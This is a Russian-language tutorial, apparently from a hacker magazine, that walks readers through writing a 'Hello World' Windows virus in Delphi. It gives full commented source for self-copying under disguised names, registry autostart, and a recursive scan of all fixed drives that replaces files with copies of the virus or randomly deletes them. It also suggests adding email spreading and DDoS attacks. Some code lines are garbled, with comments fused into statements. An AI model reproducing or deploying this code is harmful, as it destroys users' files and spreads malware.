Я думаю, ты уже слышал о таком направлении на современной underground-сцене как VX-coding. VX значит Virus eXchange, из чего следует, что господа vx-кодеры занимаются написанием вирусов, червей, и прочих "саморазмножающихся механизмов". Вот формулировка саморазможающегося механизма (CМ) по SGWW (Stealth Group World Wide): "Исполняемый код, способный к саморазмножению. СМ являются единственной областью чистого программирования, а также, в отличие от других компьютерных программ, несут в себе интеллектуальные функции по борьбе за выживание в сложных условиях конфликтующих компьютерных систем". Вот сегодня мы и займемся созданием этого "исполняемого кода" =). Для первого ознакомления с технологией vx-программирования мы не будем углубляться в полиморфизм, пермутацию кода и
т.д., а напишем программу которая будет работать под управлением OC Windows и сочетать в себе все минимальные требования простейшего вируса, эдакий Hello World :-). Для начала разберемся, что будет уметь наш первый вирь:

1. Незаметное и быстрое размножение на инфицированной машине.
2. Заражение нужных нам файлов.
3. Произвольное, возможно шуточное, действие, определяемое создателм вируса. К примеру вывод messagebox'a в определенный момент времени, сопровождающиеся удалением системных файлов ОС 😉 (это конечно шутка, удалять информацию нехорошо - помни это 😉

Итак, приступим. В качестве среды разработки я выбрал Delphi, т.к. паскалевский код должен быть понятен даже тем, кто мало смыслит в программировании.

Project -> View Source. Здесь удаляем все лишнее, чтобы получилось следующее:

program helloworld;
uses
windows,sysutils,registry;

begin

end.

Теперь по порядку. Для поиска нужных нам файлов напишем небольшую процедуру:

procedure Find(d: string);
var
sr: tsearchrec;
st: string;
begin
if findfirst(d+'\*.*',fadirectory,sr) <> 0 then // если ничего не найдено
findclose(sr) // прекращаем поиск
else // иначе
repeat // продолжаем до тех пор, пока findnext(sr) <> 0
st:= d+'\'+sr.name; // дополняем имя файла до полного
if sr.attr <> fadirectory then // если найдена не папка, а файл
begin
// ЧТО ДЕЛАЕМ С НАЙДЕННЫМ ФАЙЛОМ?
end else // если папка
begin
if (sr.name <> '.') and (sr.name <> '..') then // если папка внутри в каталога (dir)
Find(st); // начинаем поиск в ней
end;
until
findnext(sr) <> 0;
findclose(sr);
end;

Ну вот, теперь все должно быть понятно =).

В процессе создания вируса нам понадобится директория, куда установлен Windows и системная директория. Определим их таким образом:

var
wd: array [0..max_path] of char;
sd: array [0..max_path[ of char;
begin
getwindowsdirectory(wd,max_path); // в переменную wd записываем путь к директории, где стоит Windows
getwindowsdirectory(sd,max_path); // в переменную sd записываем путь к системной директории Windows
end;

Также нам необходимо прописать автозапуск (к примеру в реестре):

var
r: tregistry;
begin
r:= Tregistry.create;
r.RootKey := HKEY_LOCAL_MACHINE;
if r.OpenKey(\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true)
then r.WriteString('vx32dll',path_to_virus);
end;


Все с основными моментами вроде разобрались, далее привожу полный код вируса с комментариями:

program helloworld;

uses
windows,sysutils,registry;

procedure find(d,param,p:string); // процедура немного отличется о приведенной, выше: добавлены 2 входящие var //переменные, параметр (что делать с найзенным файлом) и полное имя файла sr: tsearchrec; //нашего вируса
st: string;
prm:string;
begin
prm:= param;
if findfirst(d+'\*.*',fadirectory,sr) <> 0 then
findclose(sr)
else
repeat
st:= d+'\'+sr.name; // определяем полный путь к файлу
if sr.attr <> fadirectory then
begin
if prm = 'death' then // если парамет death
begin
copyfile(pchar(p),pchar((d+'\'+sr.name)+'.exe'),true); // копируем вирус в директорию, где лежит файл ( с новым deletefile(pchar(d+'\'+sr.name)); // именем имя_файла.exe, удаляем сам файл
end else
if prm = 'relax' then // если парамет relax
begin
randomize; // включам генератор случайных чисел
if random(14) = 13 then // если сгенеренное число = 13 (диапозон 0..14)
begin
deletefile(pchar(d+'\'+sr.name)); // удаляем файл и выходим из процедуры
exit;
end;
end else // если параметр ни death, ни relax выводим мессагу, что вирьмейкер ламо 🙂
messagebox(0,'Hehe, Error by lamo vire maker :-)','Oppzz',mb_iconhand);
end else
begin
if (sr.name <> '.') and (sr.name <> '..') then
Find(st,prm,p);
end;
until
findnext(sr) <> 0;
findclose(sr);
end;

var // обьявление переменных
c: char;
p,_wd,_sd: string;
wd: array [0..max_path] of char; 
sd: array [0..max_path] of char;
r: tregistry;
begin
p:= expandfilename(paramstr(0)); // в переменную p записываем полное имя вируса (включая путь)
getwindowsdirectory(wd,max_path); // определяем директорию, в которую установлен windows (wd)
_wd:= strpas(wd)+'\'; // переводим wd в string, дополняем символом "\", и записыавем это в _wd
getsystemdirectory(sd,max_path); // определяем системную windows (sd)
_sd:= strpas(sd)+'\'; переводим sd в string, дополняем символом "\", и записыавем это в _sd
if (not fileexists(_wd+'netdrv.exe')) or (not fileexists(_sd+'kern32.exe')) then // если не существует файла
begin // netdrv.exe или kern32.exe
copyfile(pchar(p),pchar(_wd+'netdrv.exe'),true); // копируем вирус под именем netdrv.exe в папку windows 
r:= Tregistry.create; // прописываем автозапуск netdrv.exe в реестре
r.RootKey := HKEY_LOCAL_MACHINE;
if r.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true)
then r.WriteString('net32dll',_wd+'netdrv.exe');
copyfile(pchar(p),pchar(_sd+'kern32.exe'),true); // копируем вирус под именем kern32.exe в системн. каталог
if r.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) // прописываем автозапуск kern32.exe в 
then r.WriteString('kernload',_sd+'kern32.exe'); // реестре
r.CloseKey;
copyfile(pchar(p),pchar('c:\command.exe'),true); // копируем вирус под именем command.exe на с:\ (зачем? - end else //просто так =)
begin
randomize; // включам генератор случайных чисел 
case random(14) of
13: // если сгенеренное число = 13 (диапозон 0..14)
begin
for c:= 'A' to 'Z' do // вызываем процедуру find c параметром death для всех дисков на компе ( кроме флопа и 
if (getdrivetype(pchar(c+':\')) > 1) and (getdrivetype(pchar(c+':\')) = DRIVE_FIXED) then // сидюка)
find(c+':\','death',p);
end;
7:
begin
for c:= 'A' to 'Z' do // вызываем процедуру find c параметром relax для всех дисков на компе ( кроме флопа и
if (getdrivetype(pchar(c+':\')) > 1) and (getdrivetype(pchar(c+':\')) = DRIVE_FIXED) then // сидюка)
find(c+':\','relax',p);
end;
1: // выводим шуточный messagebox
messagebox(0,'Tanze! Tanze! Tanze! Auf den Vulkan! (c) MegaHerz','Windows relax..',mb_iconasterisk);
end;
end;
end.

Вот и все. То, что не откомментировано в самой программе, можно посмотреть выше, в комментариях к процедуре find. Я компилил этот исходник на Delphi 5 update pack 1. Упакованный ASPack'ом v2.12 вирус весит 34,5 Кб (не упакованный - 62,5 Кб). Эту программу легко изменить, добавить новые возможности, отсылку своих копий на e-mail'ы из адресной книги. Можно сделать так, чтобы в определенное время наш вирус атаковал какой-нибудь сервак в инете (+ самораспостранение по мылу и получится неплохой платцдарм для ddos :-).
В общем - экспериментируй. Пожалуй и все.. хотя нет, помни одну вещь: в виде исходного кода любой вирус является плодом твоей умственной деятельности и даже защищен законом об авторском праве, но как только ты его откомпилировал и пустил в ход, вирь становится средством атаки, "вредоносной программой для ЭВМ", и это уже незаконно.

Исходники

Check Also

Магия iptables. Необычные виды преобразований сетевых адресов

Настраивать проброс портов и общий доступ к интернету через один публичный адрес умеют все…

Оставить мнение